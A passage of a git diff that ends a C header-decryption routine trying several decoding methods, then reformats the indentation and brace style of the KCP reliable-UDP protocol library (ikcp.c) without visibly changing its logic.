decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6 }; + static const int methodNum = sizeof(methods) / sizeof(DecFun); + char buffer[MIN_COMLEN + 4] = {}; + for (int i = 0; i < methodNum; ++i) { + memcpy(buffer, flag, MIN_COMLEN); + FlagType type = CheckHead(buffer, methods[i]); + if (type != FLAG_UNKNOWN) { + memcpy(flag, buffer, MIN_COMLEN); + funcHit = HeaderEncType(i); + return type; + } + } + funcHit = HeaderEncUnknown; + return FLAG_UNKNOWN; } diff --git a/common/ikcp.c b/common/ikcp.c index 56ca6be..079ff05 100644 --- a/common/ikcp.c +++ b/common/ikcp.c @@ -2,7 +2,7 @@ // // KCP - A Better ARQ Protocol Implementation // skywind3000 (at) gmail.com, 2010-2011 -// +// // Features: // + Average RTT reduce 30% - 40% vs traditional ARQ like tcp. // + Maximum RTT reduce three times vs tcp. @@ -53,89 +53,91 @@ const IUINT32 IKCP_FASTACK_LIMIT = 5; // max times to trigger fastack /* encode 8 bits unsigned int */ static inline char *ikcp_encode8u(char *p, unsigned char c) { - *(unsigned char*)p++ = c; - return p; + *(unsigned char*)p++ = c; + return p; } /* decode 8 bits unsigned int */ static inline const char *ikcp_decode8u(const char *p, unsigned char *c) { - *c = *(unsigned char*)p++; - return p; + *c = *(unsigned char*)p++; + return p; } /* encode 16 bits unsigned int (lsb) */ static inline char *ikcp_encode16u(char *p, unsigned short w) { #if IWORDS_BIG_ENDIAN || IWORDS_MUST_ALIGN - *(unsigned char*)(p + 0) = (w & 255); - *(unsigned char*)(p + 1) = (w >> 8); + *(unsigned char*)(p + 0) = (w & 255); + *(unsigned char*)(p + 1) = (w >> 8); #else - memcpy(p, &w, 2); + memcpy(p, &w, 2); #endif - p += 2; - return p; + p += 2; + return p; } /* decode 16 bits unsigned int (lsb) */ static inline const char *ikcp_decode16u(const char *p, unsigned short *w) { #if IWORDS_BIG_ENDIAN || IWORDS_MUST_ALIGN - *w = *(const unsigned char*)(p + 1); - *w = *(const unsigned char*)(p + 0) + (*w << 8); + *w = *(const unsigned char*)(p + 1); + *w = *(const unsigned char*)(p + 0) + (*w << 8); #else - memcpy(w, p, 2); + memcpy(w, p, 2); #endif - p += 2; - return p; + p += 2; + return p; } /* encode 32 bits unsigned int (lsb) */ static inline char *ikcp_encode32u(char *p, IUINT32 l) { #if IWORDS_BIG_ENDIAN || IWORDS_MUST_ALIGN - *(unsigned char*)(p + 0) = (unsigned char)((l >> 0) & 0xff); - *(unsigned char*)(p + 1) = (unsigned char)((l >> 8) & 0xff); - *(unsigned char*)(p + 2) = (unsigned char)((l >> 16) & 0xff); - *(unsigned char*)(p + 3) = (unsigned char)((l >> 24) & 0xff); + *(unsigned char*)(p + 0) = (unsigned char)((l >> 0) & 0xff); + *(unsigned char*)(p + 1) = (unsigned char)((l >> 8) & 0xff); + *(unsigned char*)(p + 2) = (unsigned char)((l >> 16) & 0xff); + *(unsigned char*)(p + 3) = (unsigned char)((l >> 24) & 0xff); #else - memcpy(p, &l, 4); + memcpy(p, &l, 4); #endif - p += 4; - return p; + p += 4; + return p; } /* decode 32 bits unsigned int (lsb) */ static inline const char *ikcp_decode32u(const char *p, IUINT32 *l) { #if IWORDS_BIG_ENDIAN || IWORDS_MUST_ALIGN - *l = *(const unsigned char*)(p + 3); - *l = *(const unsigned char*)(p + 2) + (*l << 8); - *l = *(const unsigned char*)(p + 1) + (*l << 8); - *l = *(const unsigned char*)(p + 0) + (*l << 8); -#else - memcpy(l, p, 4); + *l = *(const unsigned char*)(p + 3); + *l = *(const unsigned char*)(p + 2) + (*l << 8); + *l = *(const unsigned char*)(p + 1) + (*l << 8); + *l = *(const unsigned char*)(p + 0) + (*l << 8); +#else + memcpy(l, p, 4); #endif - p += 4; - return p; + p += 4; + return p; } -static inline IUINT32 _imin_(IUINT32 a, IUINT32 b) { - return a <= b ? a : b; -} - -static inline IUINT32 _imax_(IUINT32 a, IUINT32 b) { - return a >= b ? a : b; -} - -static inline IUINT32 _ibound_(IUINT32 lower, IUINT32 middle, IUINT32 upper) +static inline IUINT32 _imin_(IUINT32 a, IUINT32 b) { - return _imin_(_imax_(lower, middle), upper); + return a <= b ? a : b; } -static inline long _itimediff(IUINT32 later, IUINT32 earlier) +static inline IUINT32 _imax_(IUINT32 a, IUINT32 b) { - return ((IINT32)(later - earlier)); + return a >= b ? a : b; +} + +static inline IUINT32 _ibound_(IUINT32 lower, IUINT32 middle, IUINT32 upper) +{ + return _imin_(_imax_(lower, middle), upper); +} + +static inline long _itimediff(IUINT32 later, IUINT32 earlier) +{ + return ((IINT32)(later - earlier)); } //--------------------------------------------------------------------- @@ -147,83 +149,85 @@ static void* (*ikcp_malloc_hook)(size_t) = NULL; static void (*ikcp_free_hook)(void *) = NULL; // internal malloc -static void* ikcp_malloc(size_t size) { - if (ikcp_malloc_hook) - return ikcp_malloc_hook(size); - return malloc(size); +static void* ikcp_malloc(size_t size) +{ + if (ikcp_malloc_hook) + return ikcp_malloc_hook(size); + return malloc(size); } // internal free -static void ikcp_free(void *ptr) { - if (ikcp_free_hook) { - ikcp_free_hook(ptr); - } else { - free(ptr); - } +static void ikcp_free(void *ptr) +{ + if (ikcp_free_hook) { + ikcp_free_hook(ptr); + } else { + free(ptr); + } } // redefine allocator void ikcp_allocator(void* (*new_malloc)(size_t), void (*new_free)(void*)) { - ikcp_malloc_hook = new_malloc; - ikcp_free_hook = new_free; + ikcp_malloc_hook = new_malloc; + ikcp_free_hook = new_free; } // allocate a new kcp segment static IKCPSEG* ikcp_segment_new(ikcpcb *kcp, int size) { - return (IKCPSEG*)ikcp_malloc(sizeof(IKCPSEG) + size); + return (IKCPSEG*)ikcp_malloc(sizeof(IKCPSEG) + size); } // delete a segment static void ikcp_segment_delete(ikcpcb *kcp, IKCPSEG *seg) { - ikcp_free(seg); + ikcp_free(seg); } // write log void ikcp_log(ikcpcb *kcp, int mask, const char *fmt, ...) { - char buffer[1024]; - va_list argptr; - if ((mask & kcp->logmask) == 0 || kcp->writelog == 0) return; - va_start(argptr, fmt); - vsprintf(buffer, fmt, argptr); - va_end(argptr); - kcp->writelog(buffer, kcp, kcp->user); + char buffer[1024]; + va_list argptr; + if ((mask & kcp->logmask) == 0 || kcp->writelog == 0) return; + va_start(argptr, fmt); + vsprintf(buffer, fmt, argptr); + va_end(argptr); + kcp->writelog(buffer, kcp, kcp->user); } // check log mask static int ikcp_canlog(const ikcpcb *kcp, int mask) { - if ((mask & kcp->logmask) == 0 || kcp->writelog == NULL) return 0; - return 1; + if ((mask & kcp->logmask) == 0 || kcp->writelog == NULL) return 0; + return 1; } // output segment static int ikcp_output(ikcpcb *kcp, const void *data, int size) { - assert(kcp); - assert(kcp->output); - if (ikcp_canlog(kcp, IKCP_LOG_OUTPUT)) { - ikcp_log(kcp, IKCP_LOG_OUTPUT, "[RO] %ld bytes", (long)size); - } - if (size == 0) return 0; - return kcp->output((const char*)data, size, kcp, kcp->user); + assert(kcp); + assert(kcp->output); + if (ikcp_canlog(kcp, IKCP_LOG_OUTPUT)) { + ikcp_log(kcp, IKCP_LOG_OUTPUT, "[RO] %ld bytes", (long)size); + } + if (size == 0) return 0; + return kcp->output((const char*)data, size, kcp, kcp->user); } // output queue void ikcp_qprint(const char *name, const struct IQUEUEHEAD *head) { #if 0 - const struct IQUEUEHEAD *p; - printf("<%s>: [", name); - for (p = head->next; p != head; p = p->next) { - const IKCPSEG *seg = iqueue_entry(p, const IKCPSEG, node); - printf("(%lu %d)", (unsigned long)seg->sn, (int)(seg->ts % 10000)); - if (p->next != head) printf(","); - } - printf("]\n"); + const struct IQUEUEHEAD *p; + printf("<%s>: [", name); + for (p = head->next; p != head; p = p->next) { + const IKCPSEG *seg = iqueue_entry(p, const IKCPSEG, node); + printf("(%lu %d)", (unsigned long)seg->sn, (int)(seg->ts % 10000)); + if (p->next != head) printf(","); + } + printf("]\n"); #endif } @@ -233,65 +237,65 @@ void ikcp_qprint(const char *name, const struct IQUEUEHEAD *head) //--------------------------------------------------------------------- ikcpcb* ikcp_create(IUINT32 conv, void *user) { - ikcpcb *kcp = (ikcpcb*)ikcp_malloc(sizeof(struct IKCPCB)); - if (kcp == NULL) return NULL; - kcp->conv = conv; - kcp->user = user; - kcp->snd_una = 0; - kcp->snd_nxt = 0; - kcp->rcv_nxt = 0; - kcp->ts_recent = 0; - kcp->ts_lastack = 0; - kcp->ts_probe = 0; - kcp->probe_wait = 0; - kcp->snd_wnd = IKCP_WND_SND; - kcp->rcv_wnd = IKCP_WND_RCV; - kcp->rmt_wnd = IKCP_WND_RCV; - kcp->cwnd = 0; - kcp->incr = 0; - kcp->probe = 0; - kcp->mtu = IKCP_MTU_DEF; - kcp->mss = kcp->mtu - IKCP_OVERHEAD; - kcp->stream = 0; + ikcpcb *kcp = (ikcpcb*)ikcp_malloc(sizeof(struct IKCPCB)); + if (kcp == NULL) return NULL; + kcp->conv = conv; + kcp->user = user; + kcp->snd_una = 0; + kcp->snd_nxt = 0; + kcp->rcv_nxt = 0; + kcp->ts_recent = 0; + kcp->ts_lastack = 0; + kcp->ts_probe = 0; + kcp->probe_wait = 0; + kcp->snd_wnd = IKCP_WND_SND; + kcp->rcv_wnd = IKCP_WND_RCV; + kcp->rmt_wnd = IKCP_WND_RCV; + kcp->cwnd = 0; + kcp->incr = 0; + kcp->probe = 0; + kcp->mtu = IKCP_MTU_DEF; + kcp->mss = kcp->mtu - IKCP_OVERHEAD; + kcp->stream = 0; - kcp->buffer = (char*)ikcp_malloc((kcp->mtu + IKCP_OVERHEAD) * 3); - if (kcp->buffer == NULL) { - ikcp_free(kcp); - return NULL; - } + kcp->buffer = (char*)ikcp_malloc((kcp->mtu + IKCP_OVERHEAD) * 3); + if (kcp->buffer == NULL) { + ikcp_free(kcp); + return NULL; + } - iqueue_init(&kcp->snd_queue); - iqueue_init(&kcp->rcv_queue); - iqueue_init(&kcp->snd_buf); - iqueue_init(&kcp->rcv_buf); - kcp->nrcv_buf = 0; - kcp->nsnd_buf = 0; - kcp->nrcv_que = 0; - kcp->nsnd_que = 0; - kcp->state = 0; - kcp->acklist = NULL; - kcp->ackblock = 0; - kcp->ackcount = 0; - kcp->rx_srtt = 0; - kcp->rx_rttval = 0; - kcp->rx_rto = IKCP_RTO_DEF; - kcp->rx_minrto = IKCP_RTO_MIN; - kcp->current = 0; - kcp->interval = IKCP_INTERVAL; - kcp->ts_flush = IKCP_INTERVAL; - kcp->nodelay = 0; - kcp->updated = 0; - kcp->logmask = 0; - kcp->ssthresh = IKCP_THRESH_INIT; - kcp->fastresend = 0; - kcp->fastlimit = IKCP_FASTACK_LIMIT; - kcp->nocwnd = 0; - kcp->xmit = 0; - kcp->dead_link = IKCP_DEADLINK; - kcp->output = NULL; - kcp->writelog = NULL; + iqueue_init(&kcp->snd_queue); + iqueue_init(&kcp->rcv_queue); + iqueue_init(&kcp->snd_buf); + iqueue_init(&kcp->rcv_buf); + kcp->nrcv_buf = 0; + kcp->nsnd_buf = 0; + kcp->nrcv_que = 0; + kcp->nsnd_que = 0; + kcp->state = 0; + kcp->acklist = NULL; + kcp->ackblock = 0; + kcp->ackcount = 0; + kcp->rx_srtt = 0; + kcp->rx_rttval = 0; + kcp->rx_rto = IKCP_RTO_DEF; + kcp->rx_minrto = IKCP_RTO_MIN; + kcp->current = 0; + kcp->interval = IKCP_INTERVAL; + kcp->ts_flush = IKCP_INTERVAL; + kcp->nodelay = 0; + kcp->updated = 0; + kcp->logmask = 0; + kcp->ssthresh = IKCP_THRESH_INIT; + kcp->fastresend = 0; + kcp->fastlimit = IKCP_FASTACK_LIMIT; + kcp->nocwnd = 0; + kcp->xmit = 0; + kcp->dead_link = IKCP_DEADLINK; + kcp->output = NULL; + kcp->writelog = NULL; - return kcp; + return kcp; } @@ -300,45 +304,45 @@ ikcpcb* ikcp_create(IUINT32 conv, void *user) //--------------------------------------------------------------------- void ikcp_release(ikcpcb *kcp) { - assert(kcp); - if (kcp) { - IKCPSEG *seg; - while (!iqueue_is_empty(&kcp->snd_buf)) { - seg = iqueue_entry(kcp->snd_buf.next, IKCPSEG, node); - iqueue_del(&seg->node); - ikcp_segment_delete(kcp, seg); - } - while (!iqueue_is_empty(&kcp->rcv_buf)) { - seg = iqueue_entry(kcp->rcv_buf.next, IKCPSEG, node); - iqueue_del(&seg->node); - ikcp_segment_delete(kcp, seg); - } - while (!iqueue_is_empty(&kcp->snd_queue)) { - seg = iqueue_entry(kcp->snd_queue.next, IKCPSEG, node); - iqueue_del(&seg->node); - ikcp_segment_delete(kcp, seg); - } - while (!iqueue_is_empty(&kcp->rcv_queue)) { - seg = iqueue_entry(kcp->rcv_queue.next, IKCPSEG, node); - iqueue_del(&seg->node); - ikcp_segment_delete(kcp, seg); - } - if (kcp->buffer) { - ikcp_free(kcp->buffer); - } - if (kcp->acklist) { - ikcp_free(kcp->acklist); - } + assert(kcp); + if (kcp) { + IKCPSEG *seg; + while (!iqueue_is_empty(&kcp->snd_buf)) { + seg = iqueue_entry(kcp->snd_buf.next, IKCPSEG, node); + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + } + while (!iqueue_is_empty(&kcp->rcv_buf)) { + seg = iqueue_entry(kcp->rcv_buf.next, IKCPSEG, node); + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + } + while (!iqueue_is_empty(&kcp->snd_queue)) { + seg = iqueue_entry(kcp->snd_queue.next, IKCPSEG, node); + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + } + while (!iqueue_is_empty(&kcp->rcv_queue)) { + seg = iqueue_entry(kcp->rcv_queue.next, IKCPSEG, node); + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + } + if (kcp->buffer) { + ikcp_free(kcp->buffer); + } + if (kcp->acklist) { + ikcp_free(kcp->acklist); + } - kcp->nrcv_buf = 0; - kcp->nsnd_buf = 0; - kcp->nrcv_que = 0; - kcp->nsnd_que = 0; - kcp->ackcount = 0; - kcp->buffer = NULL; - kcp->acklist = NULL; - ikcp_free(kcp); - } + kcp->nrcv_buf = 0; + kcp->nsnd_buf = 0; + kcp->nrcv_que = 0; + kcp->nsnd_que = 0; + kcp->ackcount = 0; + kcp->buffer = NULL; + kcp->acklist = NULL; + ikcp_free(kcp); + } } @@ -346,9 +350,9 @@ void ikcp_release(ikcpcb *kcp) // set output callback, which will be invoked by kcp //--------------------------------------------------------------------- void ikcp_setoutput(ikcpcb *kcp, int (*output)(const char *buf, int len, - ikcpcb *kcp, void *user)) + ikcpcb *kcp, void *user)) { - kcp->output = output; + kcp->output = output; } @@ -357,81 +361,81 @@ void ikcp_setoutput(ikcpcb *kcp, int (*output)(const char *buf, int len, //--------------------------------------------------------------------- int ikcp_recv(ikcpcb *kcp, char *buffer, int len) { - struct IQUEUEHEAD *p; - int ispeek = (len < 0)? 1 : 0; - int peeksize; - int recover = 0; - IKCPSEG *seg; - assert(kcp); + struct IQUEUEHEAD *p; + int ispeek = (len < 0)? 1 : 0; + int peeksize; + int recover = 0; + IKCPSEG *seg; + assert(kcp); - if (iqueue_is_empty(&kcp->rcv_queue)) - return -1; + if (iqueue_is_empty(&kcp->rcv_queue)) + return -1; - if (len < 0) len = -len; + if (len < 0) len = -len; - peeksize = ikcp_peeksize(kcp); + peeksize = ikcp_peeksize(kcp); - if (peeksize < 0) - return -2; + if (peeksize < 0) + return -2; - if (peeksize > len) - return -3; + if (peeksize > len) + return -3; - if (kcp->nrcv_que >= kcp->rcv_wnd) - recover = 1; + if (kcp->nrcv_que >= kcp->rcv_wnd) + recover = 1; - // merge fragment - for (len = 0, p = kcp->rcv_queue.next; p != &kcp->rcv_queue; ) { - int fragment; - seg = iqueue_entry(p, IKCPSEG, node); - p = p->next; + // merge fragment + for (len = 0, p = kcp->rcv_queue.next; p != &kcp->rcv_queue; ) { + int fragment; + seg = iqueue_entry(p, IKCPSEG, node); + p = p->next; - if (buffer) { - memcpy(buffer, seg->data, seg->len); - buffer += seg->len; - } + if (buffer) { + memcpy(buffer, seg->data, seg->len); + buffer += seg->len; + } - len += seg->len; - fragment = seg->frg; + len += seg->len; + fragment = seg->frg; - if (ikcp_canlog(kcp, IKCP_LOG_RECV)) { - ikcp_log(kcp, IKCP_LOG_RECV, "recv sn=%lu", (unsigned long)seg->sn); - } + if (ikcp_canlog(kcp, IKCP_LOG_RECV)) { + ikcp_log(kcp, IKCP_LOG_RECV, "recv sn=%lu", (unsigned long)seg->sn); + } - if (ispeek == 0) { - iqueue_del(&seg->node); - ikcp_segment_delete(kcp, seg); - kcp->nrcv_que--; - } + if (ispeek == 0) { + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + kcp->nrcv_que--; + } - if (fragment == 0) - break; - } + if (fragment == 0) + break; + } - assert(len == peeksize); + assert(len == peeksize); - // move available data from rcv_buf -> rcv_queue - while (! iqueue_is_empty(&kcp->rcv_buf)) { - seg = iqueue_entry(kcp->rcv_buf.next, IKCPSEG, node); - if (seg->sn == kcp->rcv_nxt && kcp->nrcv_que < kcp->rcv_wnd) { - iqueue_del(&seg->node); - kcp->nrcv_buf--; - iqueue_add_tail(&seg->node, &kcp->rcv_queue); - kcp->nrcv_que++; - kcp->rcv_nxt++; - } else { - break; - } - } + // move available data from rcv_buf -> rcv_queue + while (! iqueue_is_empty(&kcp->rcv_buf)) { + seg = iqueue_entry(kcp->rcv_buf.next, IKCPSEG, node); + if (seg->sn == kcp->rcv_nxt && kcp->nrcv_que < kcp->rcv_wnd) { + iqueue_del(&seg->node); + kcp->nrcv_buf--; + iqueue_add_tail(&seg->node, &kcp->rcv_queue); + kcp->nrcv_que++; + kcp->rcv_nxt++; + } else { + break; + } + } - // fast recover - if (kcp->nrcv_que < kcp->rcv_wnd && recover) { - // ready to send back IKCP_CMD_WINS in ikcp_flush - // tell remote my window size - kcp->probe |= IKCP_ASK_TELL; - } + // fast recover + if (kcp->nrcv_que < kcp->rcv_wnd && recover) { + // ready to send back IKCP_CMD_WINS in ikcp_flush + // tell remote my window size + kcp->probe |= IKCP_ASK_TELL; + } - return len; + return len; } @@ -440,26 +444,26 @@ int ikcp_recv(ikcpcb *kcp, char *buffer, int len) //--------------------------------------------------------------------- int ikcp_peeksize(const ikcpcb *kcp) { - struct IQUEUEHEAD *p; - IKCPSEG *seg; - int length = 0; + struct IQUEUEHEAD *p; + IKCPSEG *seg; + int length = 0; - assert(kcp); + assert(kcp); - if (iqueue_is_empty(&kcp->rcv_queue)) return -1; + if (iqueue_is_empty(&kcp->rcv_queue)) return -1; - seg = iqueue_entry(kcp->rcv_queue.next, IKCPSEG, node); - if (seg->frg == 0) return seg->len; + seg = iqueue_entry(kcp->rcv_queue.next, IKCPSEG, node); + if (seg->frg == 0) return seg->len; - if (kcp->nrcv_que < seg->frg + 1) return -1; + if (kcp->nrcv_que < seg->frg + 1) return -1; - for (p = kcp->rcv_queue.next; p != &kcp->rcv_queue; p = p->next) { - seg = iqueue_entry(p, IKCPSEG, node); - length += seg->len; - if (seg->frg == 0) break; - } + for (p = kcp->rcv_queue.next; p != &kcp->rcv_queue; p = p->next) { + seg = iqueue_entry(p, IKCPSEG, node); + length += seg->len; + if (seg->frg == 0) break; + } - return length; + return length; } @@ -468,72 +472,72 @@ int ikcp_peeksize(const ikcpcb *kcp) //--------------------------------------------------------------------- int ikcp_send(ikcpcb *kcp, const char *buffer, int len) { - IKCPSEG *seg; - int count, i; + IKCPSEG *seg; + int count, i; - assert(kcp->mss > 0); - if (len < 0) return -1; + assert(kcp->mss > 0); + if (len < 0) return -1; - // append to previous segment in streaming mode (if possible) - if (kcp->stream != 0) { - if (!iqueue_is_empty(&kcp->snd_queue)) { - IKCPSEG *old = iqueue_entry(kcp->snd_queue.prev, IKCPSEG, node); - if (old->len < kcp->mss) { - int capacity = kcp->mss - old->len; - int extend = (len < capacity)? len : capacity; - seg = ikcp_segment_new(kcp, old->len + extend); - assert(seg); - if (seg == NULL) { - return -2; - } - iqueue_add_tail(&seg->node, &kcp->snd_queue); - memcpy(seg->data, old->data, old->len); - if (buffer) { - memcpy(seg->data + old->len, buffer, extend); - buffer += extend; - } - seg->len = old->len + extend; - seg->frg = 0; - len -= extend; - iqueue_del_init(&old->node); - ikcp_segment_delete(kcp, old); - } - } - if (len <= 0) { - return 0; - } - } + // append to previous segment in streaming mode (if possible) + if (kcp->stream != 0) { + if (!iqueue_is_empty(&kcp->snd_queue)) { + IKCPSEG *old = iqueue_entry(kcp->snd_queue.prev, IKCPSEG, node); + if (old->len < kcp->mss) { + int capacity = kcp->mss - old->len; + int extend = (len < capacity)? len : capacity; + seg = ikcp_segment_new(kcp, old->len + extend); + assert(seg); + if (seg == NULL) { + return -2; + } + iqueue_add_tail(&seg->node, &kcp->snd_queue); + memcpy(seg->data, old->data, old->len); + if (buffer) { + memcpy(seg->data + old->len, buffer, extend); + buffer += extend; + } + seg->len = old->len + extend; + seg->frg = 0; + len -= extend; + iqueue_del_init(&old->node); + ikcp_segment_delete(kcp, old); + } + } + if (len <= 0) { + return 0; + } + } - if (len <= (int)kcp->mss) count = 1; - else count = (len + kcp->mss - 1) / kcp->mss; + if (len <= (int)kcp->mss) count = 1; + else count = (len + kcp->mss - 1) / kcp->mss; - if (count >= (int)IKCP_WND_RCV) return -2; + if (count >= (int)IKCP_WND_RCV) return -2; - if (count == 0) count = 1; + if (count == 0) count = 1; - // fragment - for (i = 0; i < count; i++) { - int size = len > (int)kcp->mss ? (int)kcp->mss : len; - seg = ikcp_segment_new(kcp, size); - assert(seg); - if (seg == NULL) { - return -2; - } - if (buffer && len > 0) { - memcpy(seg->data, buffer, size); - } - seg->len = size; - seg->frg = (kcp->stream == 0)? (count - i - 1) : 0; - iqueue_init(&seg->node); - iqueue_add_tail(&seg->node, &kcp->snd_queue); - kcp->nsnd_que++; - if (buffer) { - buffer += size; - } - len -= size; - } + // fragment + for (i = 0; i < count; i++) { + int size = len > (int)kcp->mss ? (int)kcp->mss : len; + seg = ikcp_segment_new(kcp, size); + assert(seg); + if (seg == NULL) { + return -2; + } + if (buffer && len > 0) { + memcpy(seg->data, buffer, size); + } + seg->len = size; + seg->frg = (kcp->stream == 0)? (count - i - 1) : 0; + iqueue_init(&seg->node); + iqueue_add_tail(&seg->node, &kcp->snd_queue); + kcp->nsnd_que++; + if (buffer) { + buffer += size; + } + len -= size; + } - return 0; + return 0; } @@ -542,92 +546,91 @@ int ikcp_send(ikcpcb *kcp, const char *buffer, int len) //--------------------------------------------------------------------- static void ikcp_update_ack(ikcpcb *kcp, IINT32 rtt) { - IINT32 rto = 0; - if (kcp->rx_srtt == 0) { - kcp->rx_srtt = rtt; - kcp->rx_rttval = rtt / 2; - } else { - long delta = rtt - kcp->rx_srtt; - if (delta < 0) delta = -delta; - kcp->rx_rttval = (3 * kcp->rx_rttval + delta) / 4; - kcp->rx_srtt = (7 * kcp->rx_srtt + rtt) / 8; - if (kcp->rx_srtt < 1) kcp->rx_srtt = 1; - } - rto = kcp->rx_srtt + _imax_(kcp->interval, 4 * kcp->rx_rttval); - kcp->rx_rto = _ibound_(kcp->rx_minrto, rto, IKCP_RTO_MAX); + IINT32 rto = 0; + if (kcp->rx_srtt == 0) { + kcp->rx_srtt = rtt; + kcp->rx_rttval = rtt / 2; + } else { + long delta = rtt - kcp->rx_srtt; + if (delta < 0) delta = -delta; + kcp->rx_rttval = (3 * kcp->rx_rttval + delta) / 4; + kcp->rx_srtt = (7 * kcp->rx_srtt + rtt) / 8; + if (kcp->rx_srtt < 1) kcp->rx_srtt = 1; + } + rto = kcp->rx_srtt + _imax_(kcp->interval, 4 * kcp->rx_rttval); + kcp->rx_rto = _ibound_(kcp->rx_minrto, rto, IKCP_RTO_MAX); } static void ikcp_shrink_buf(ikcpcb *kcp) { - struct IQUEUEHEAD *p = kcp->snd_buf.next; - if (p != &kcp->snd_buf) { - IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); - kcp->snd_una = seg->sn; - } else { - kcp->snd_una = kcp->snd_nxt; - } + struct IQUEUEHEAD *p = kcp->snd_buf.next; + if (p != &kcp->snd_buf) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + kcp->snd_una = seg->sn; + } else { + kcp->snd_una = kcp->snd_nxt; + } } static void ikcp_parse_ack(ikcpcb *kcp, IUINT32 sn) { - struct IQUEUEHEAD *p, *next; + struct IQUEUEHEAD *p, *next; - if (_itimediff(sn, kcp->snd_una) < 0 || _itimediff(sn, kcp->snd_nxt) >= 0) - return; + if (_itimediff(sn, kcp->snd_una) < 0 || _itimediff(sn, kcp->snd_nxt) >= 0) + return; - for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = next) { - IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); - next = p->next; - if (sn == seg->sn) { - iqueue_del(p); - ikcp_segment_delete(kcp, seg); - kcp->nsnd_buf--; - break; - } - if (_itimediff(sn, seg->sn) < 0) { - break; - } - } + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = next) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + next = p->next; + if (sn == seg->sn) { + iqueue_del(p); + ikcp_segment_delete(kcp, seg); + kcp->nsnd_buf--; + break; + } + if (_itimediff(sn, seg->sn) < 0) { + break; + } + } } static void ikcp_parse_una(ikcpcb *kcp, IUINT32 una) { - struct IQUEUEHEAD *p, *next; - for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = next) { - IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); - next = p->next; - if (_itimediff(una, seg->sn) > 0) { - iqueue_del(p); - ikcp_segment_delete(kcp, seg); - kcp->nsnd_buf--; - } else { - break; - } - } + struct IQUEUEHEAD *p, *next; + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = next) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + next = p->next; + if (_itimediff(una, seg->sn) > 0) { + iqueue_del(p); + ikcp_segment_delete(kcp, seg); + kcp->nsnd_buf--; + } else { + break; + } + } } static void ikcp_parse_fastack(ikcpcb *kcp, IUINT32 sn, IUINT32 ts) { - struct IQUEUEHEAD *p, *next; + struct IQUEUEHEAD *p, *next; - if (_itimediff(sn, kcp->snd_una) < 0 || _itimediff(sn, kcp->snd_nxt) >= 0) - return; + if (_itimediff(sn, kcp->snd_una) < 0 || _itimediff(sn, kcp->snd_nxt) >= 0) + return; - for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = next) { - IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); - next = p->next; - if (_itimediff(sn, seg->sn) < 0) { - break; - } - else if (sn != seg->sn) { - #ifndef IKCP_FASTACK_CONSERVE - seg->fastack++; - #else - if (_itimediff(ts, seg->ts) >= 0) - seg->fastack++; - #endif - } - } + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = next) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + next = p->next; + if (_itimediff(sn, seg->sn) < 0) { + break; + } else if (sn != seg->sn) { +#ifndef IKCP_FASTACK_CONSERVE + seg->fastack++; +#else + if (_itimediff(ts, seg->ts) >= 0) + seg->fastack++; +#endif + } + } } @@ -636,44 +639,44 @@ static void ikcp_parse_fastack(ikcpcb *kcp, IUINT32 sn, IUINT32 ts) //--------------------------------------------------------------------- static void ikcp_ack_push(ikcpcb *kcp, IUINT32 sn, IUINT32 ts) { - size_t newsize = kcp->ackcount + 1; - IUINT32 *ptr; + size_t newsize = kcp->ackcount + 1; + IUINT32 *ptr; - if (newsize > kcp->ackblock) { - IUINT32 *acklist; - size_t newblock; + if (newsize > kcp->ackblock) { + IUINT32 *acklist; + size_t newblock; - for (newblock = 8; newblock < newsize; newblock <<= 1); - acklist = (IUINT32*)ikcp_malloc(newblock * sizeof(IUINT32) * 2); + for (newblock = 8; newblock < newsize; newblock <<= 1); + acklist = (IUINT32*)ikcp_malloc(newblock * sizeof(IUINT32) * 2); - if (acklist == NULL) { - assert(acklist != NULL); - abort(); - } + if (acklist == NULL) { + assert(acklist != NULL); + abort(); + } - if (kcp->acklist != NULL) { - size_t x; - for (x = 0; x < kcp->ackcount; x++) { - acklist[x * 2 + 0] = kcp->acklist[x * 2 + 0]; - acklist[x * 2 + 1] = kcp->acklist[x * 2 + 1]; - } - ikcp_free(kcp->acklist); - } + if (kcp->acklist != NULL) { + size_t x; + for (x = 0; x < kcp->ackcount; x++) { + acklist[x * 2 + 0] = kcp->acklist[x * 2 + 0]; + acklist[x * 2 + 1] = kcp->acklist[x * 2 + 1]; + } + ikcp_free(kcp->acklist); + } - kcp->acklist = acklist; - kcp->ackblock = newblock; - } + kcp->acklist = acklist; + kcp->ackblock = newblock; + } - ptr = &kcp->acklist[kcp->ackcount * 2]; - ptr[0] = sn; - ptr[1] = ts; - kcp->ackcount++; + ptr = &kcp->acklist[kcp->ackcount * 2]; + ptr[0] = sn; + ptr[1] = ts; + kcp->ackcount++; } static void ikcp_ack_get(const ikcpcb *kcp, int p, IUINT32 *sn, IUINT32 *ts) { - if (sn) sn[0] = kcp->acklist[p * 2 + 0]; - if (ts) ts[0] = kcp->acklist[p * 2 + 1]; + if (sn) sn[0] = kcp->acklist[p * 2 + 0]; + if (ts) ts[0] = kcp->acklist[p * 2 + 1]; } @@ -682,58 +685,58 @@ static void ikcp_ack_get(const ikcpcb *kcp, int p, IUINT32 *sn, IUINT32 *ts) //--------------------------------------------------------------------- void ikcp_parse_data(ikcpcb *kcp, IKCPSEG *newseg) { - struct IQUEUEHEAD *p, *prev; - IUINT32 sn = newseg->sn; - int repeat = 0; - - if (_itimediff(sn, kcp->rcv_nxt + kcp->rcv_wnd) >= 0 || - _itimediff(sn, kcp->rcv_nxt) < 0) { - 